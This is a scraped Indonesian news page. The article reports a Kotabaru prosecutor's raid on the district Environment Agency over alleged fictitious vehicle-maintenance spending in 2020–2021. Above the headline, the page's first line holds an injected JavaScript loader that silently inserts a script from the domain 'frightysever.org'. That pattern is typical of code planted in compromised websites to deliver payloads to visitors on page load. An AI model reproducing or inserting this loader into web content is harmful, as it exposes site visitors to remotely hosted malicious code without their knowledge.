(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dugaan Pemeliharaan Operasional Fiktif di Dinas LH Kotabaru, Kejari Bawa Dua Boks Dokumen


KANALKALIMANTAN.COM, KOTABARU – Pegawai yang bekerja di Dinas Lingkungan Hidup (DLH) Kabupaten Kotabaru dibikin kaget saat tim Kejaksaan Negeri (Kejari) tiba-tiba masuk dan melakukan pengeledahan di kantor mereka pada Rabu (23/2/2022) siang.

Aparat penegak hukum itu ternyata mengendus adanya dugaan penyalahgunaan anggaran penyedia jasa pemeliharaan, biaya pemeliharaan pajak, perizinan kendaraan dinas operasional atau lapangan pada Dinas Lingkungan Hidup tahun anggaran 2020 dan 2021 yang tidak sesuai penggunaannya atau fiktif.

Aksi penggeledahan dilakukan berlangsung selama tiga jam, dimulai dari pukul 13.30 hingga 16.30 Wita, ketika sebagian besar pegawai sedang istirahat siang. Tim yang berjumlah 15 orang yakni 7 orang jaksa, 3 orang staf jaksa dan 5 orang dari Kepolisian akhirnya menyita beberapa dokumen terkait dugaan tindak pidana korupsi sebanyak dua boks plastik besar.

 

 

Baca juga: Mengunjungi Desa Wisata Tiwingan Lama, Melihat Langsung ‘Raja Empat’ Kalsel

Kepada sejumlah wartawan Rabu (23/2/2022) sekitar pukul 17.00 Wita diterangkan oleh Kepala Kejaksaan Negeri (Kajari) Kotabaru Dr Andi Irfan Syafruddin melalui Kasi Pidsus, Roh Wiharjo bahwa, ada lima ruangan yang ada di Dinas LH Kotabaru digeledah yaitu ruang kerja Kepala Dinas, ruang Sekretaris, ruang Kassubag Keuangan dan terakhir adalah ruang Kassubag Umum dan Kepegawaian.

“Penggeledahan yang kami lakukan berdasarkan surat perintah penyidikan Kepala Kejaksaan Negeri Kotabaru Nomor : PRINT-01/0.3.12/Fd.1/02/2022 tanggal 21 Februari 2022 telah meningkatkan status pemeriksaan,” ujarnya.

Penggeledahan dan penyitaan sejumlah dokumen merupakan tindakan pro yustitia yang sudah sesuai dengan peraturan Perundang-undangan Pasal 33 dan 34 Kitab Undang-Undang Hukum Acara Pidana dan sudah mendapatkan izin penggeledahan dari Pengadilan Negeri Kotabaru dengan dikeluarkannya penetapan Pengadilan Negeri Kotabaru Nomor : O1/Pen.Pid/2022/Pn Ktb dan ditindak lanjuti dengan dikeluarkannya Surat Perintah Penggeledahan Kepala Kejaksaan Negeri Kotabaru Nomor : PRINT-01/0.3.12/Fd 1/02/2022 tanggal 22 Februari 2022.

Dikatakannya lebih jauh, dari pemeriksaan awal tim jaksa menilai adanya potensi kerugian keuangan negara dalam pengelolaan biaya operasional di Dinas LH Kotabaru yang pertahunnya mencapai Rp 1.994.697.400.

Baca juga: RD Dibekuk, Rumah Kontrakan di Loktabat Utara Jadi Tempat Jual Sabu

“Untuk sekarang belum ada yang ditetapkan sebagai tersangka, namun pemeriksaan terhadap para saksi terus dilakukan, yang jelas nanti pasti akan ada tersangkanya,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Risa

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

5 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

6 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

6 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

7 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

11 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

11 jam ago

This website uses cookies.